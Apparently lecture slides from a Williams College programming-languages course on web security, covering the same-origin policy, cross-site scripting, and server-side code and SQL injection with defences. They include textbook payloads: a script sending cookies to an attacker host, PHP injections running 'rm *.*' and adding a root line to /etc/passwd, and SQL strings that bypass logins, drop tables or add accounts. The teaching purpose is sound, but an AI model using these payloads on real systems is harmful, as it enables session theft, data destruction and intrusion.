Security Part 2

CSCI 334
Stephen Freund

- A Few Recent News Item
  - [http://thehackernews.com/](http://thehackernews.com/)

- Cryptanalysis Attacks

- Interested in Security? Take 331 in Fall!

Security properties:
- secrecy
- integrity
- availability

Security for the "Web"
- Safely browse the web
  - Users should be able to visit web sites without harm
    - No stolen information
    - Site A cannot compromise session at Site B
- Support secure Web Apps
  - Web Apps should have the same security properties as stand-alone applications, eg:
    - private data stays private
    - no identity theft
    - always available...

Short Survey of Threats
- Client Side
  - information leaks
  - XSS: cross-site scripting
  - frame isolation
  - phishing attacks
- Server Side
  - SQL injection attacks
- (Some slides thanks to John Mitchell and Dan Boneh)

HTML Image Tags

```html
<img src="http://example.com/shilo.jpg" height="250" width="300">
```
**HTML Image Tags**

- Communicate with other sites
  - `<img src="http://sneaky.com/sneaky-shilo.jpg?extra_stuff">`

- Hide image
  - `<img src="hidden-shilo.jpg" height="1" width="1">`

- Spoof other sites
  - Add logos that fool a user

- Important Point: A web page can send information to any site

**HTML with JavaScript, DOM**

- JavaScript can access DOM for page being viewed... and change it.

- Example: Add a new list item:
  ```html
  <script>
  var list = document.getElementById('t1')
  var newitem = document.createElement('li')
  var newtext = document.createTextNode('text')
  list.appendChild(newitem)
  newitem.appendChild(newtext)
  </script>
  </ul id="t1">
  <li> Item 1 </li>
  </ul>
  ```

**Cookies...**

- Servers can store local state on clients

  In HTML:
  ```html
  <script>
  document.cookie=
  "username=Steve;" +
  "expires=Thu, 18 Dec 2014;" +
  "SESSID=123456";
  </script>
  ```

- Can use to manage session state, ie user name, browsing state, etc.
- [Look at Google, williams in FireFox...]

**XSS: Cross-Sight Scripting Attacks**

To: freund@cs.williams.edu
Subject: Click image for more Puppies!
From: plum@gnail.com

![Click Image for More Puppies!](http://www.dailypuppy.com/)

http://www.dailypuppy.com/
The Punch Line...

- If you click on the link:
  ```html
  <script>
  window.open("http://gnail.com?cookie=" + document.cookie);
  </script>
  ```

- You send the following http request to evil.com:
  ```html
  "http://gnail.com?cookie=PHPSESSID=..."
  ```

- This is BAD. Really really BAD.

Servers should not return client-provided scripts!
To: Web Ops  
Subject: XSS vulnerability  
Date: Tue, 13 May 2014 16:25:16 -0400

I noticed today that the Williams homepage is susceptible to an XSS vulnerability. The simplest way to see this is to go to the homepage and do a search for

```html
<script>alert('moo');</script>
```

The page returned by the search has the search phrase embedded --- and the browser will run the code without warning the user.

Best,

- Steve.

---

Click Image for More Puppies!

http://www.williams.edu/search/?q=<script>alert('moo');</script>

---

What Happens Now?

- [searches.html]

---

And this is just by clicking on a link from one server...

---

Isolation Policy Goals

- Safe to visit an evil web site

- Safe to visit two pages at the same time
  - Address bar distinguishes them

- Allow safe delegation
  - [frames.html]
Browser Security Mechanism

- Each frame of a page has an origin
  - Origin = protocol://host:port (e.g., http://www.williams.edu:8080)
- Frame can access its own origin
  - Network access, Read/write DOM, Storage (cookies)
- Frame cannot access data associated with a different origin

A Guninski Attack (Cross-Window)

showcookie.html

Gadget Hijacking (Same Window)

What Should the Policy Be?

Browser Behavior

<table>
<thead>
<tr>
<th>Browser</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 6 (default)</td>
<td>Permissive</td>
</tr>
<tr>
<td>IE 6 (option)</td>
<td>Child</td>
</tr>
<tr>
<td>IE7 (no Flash)</td>
<td>Descendant</td>
</tr>
<tr>
<td>IE7 (with Flash)</td>
<td>Permissive</td>
</tr>
<tr>
<td>Firefox 2</td>
<td>Window</td>
</tr>
<tr>
<td>Safari 3</td>
<td>Permissive</td>
</tr>
<tr>
<td>Opera 9</td>
<td>Window</td>
</tr>
<tr>
<td>HTML 5</td>
<td>Child</td>
</tr>
</tbody>
</table>

Descendent is now almost exclusively used

Phishing: Safe to Type Your Password?
**Server-Side Code Injection**

- **Attack goal:** execute arbitrary code on the server
- **Example code injection based on eval (PHP)**
  
  `http://site.com/calc.php?exp="2+3"` (server side calculator)

  ```php
  $in = $_GET['exp'];
  eval('$ans = ' . $in . ';');
  ...
  ```

- **Attack**
  
  `http://site.com/calc.php?exp=" 10 ; system('rm *.*') "`
**Code injection using `system()`**

- Example: PHP server-side code for sending email

```php
$email = $_GET["email"];
$subject = $_GET["subject"];  
system("mail $email -s $subject < /tmp/joinmynetwork");
```

- Attacker can post

```bash
http://yourdomain.com/mail.php?email=hacker@hackerhome.net & subject=foo < /usr/passwd; #
```

- OR

```bash
http://yourdomain.com/mail.php?email=hacker@hackerhome.net & subject=foo; echo "evil::0:0:root:/bin/sh">>/etc/passwd;#
```

**Database queries with PHP** (the wrong way)

- Sample PHP

```php
$recipient = $_GET["recipient"];  
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient'";
$rs = $db->executeQuery($sql);
```

- Problem

  - `'recipient'` comes from an URL request.
  - Malicious string can change the meaning of the query.

**Example: buggy login page (ASP)**

```sql
set matches = execute("SELECT * FROM Users
WHERE user=’" & form("user") & "’
AND pwd=’" & form("pwd") & "’");
if not matches.EOF
    login success
else  fail;
```

**Bad input**

- Suppose `user = "' or 1=1 -- "`

- Then scripts does:

  ```sql
  matches = execute( SELECT ...
    WHERE user= ' ' or l=1 -- ... )
  ```

  - The `"--"` causes rest of line to be ignored.
  - Now `matches.EOF` always false and login succeeds.

**Even worse**

- Suppose user = 

  ```sql
  "' ; DROP TABLE Users -- "
  ```

- Then script does:

  ```sql
  matches = execute( SELECT ...
    WHERE user= ' ' ; DROP TABLE Users ... )
  ```

- Deletes user table

  - Similarly: attacker can add users, reset pwds, etc.
Even worse...

• Suppose user =
  `'; exec cmdshell
  'net user badguy badpwd' / ADD --`  

• Then script does:
  `ok = execute( SELECT ...`  
  `WHERE username= ' ' ; exec ... )`

If SQL server context runs as "administrator", attacker gets account on DB server  
(think back to least privilege...)

How to Avoid Injection Attacks

• Never build SQL queries directly from input
  - or use in any other sort of executable command...

• Information Flow Problem
  - Dynamic data tainting (Perl)
  - Static Analyses for Java, PHP

What's Next?

• Languages to specify & enforce security policies
  - isolation and resource access rules
  - communication
  - delegation

• Languages to specify & enforce information flow
  - which parts of code have access to which data?
  - how is data permitted to be used?
  - eg Facebook's privacy settings

What's Next?

• Languages for automated response to large attacks (involving many machines, many orgs.)
  - recognize / mitigate damage / prevent future attacks

• Challenges and Tradeoffs
  - expressiveness
  - strong guarantees
  - efficiency
  - ease of use
  - modularity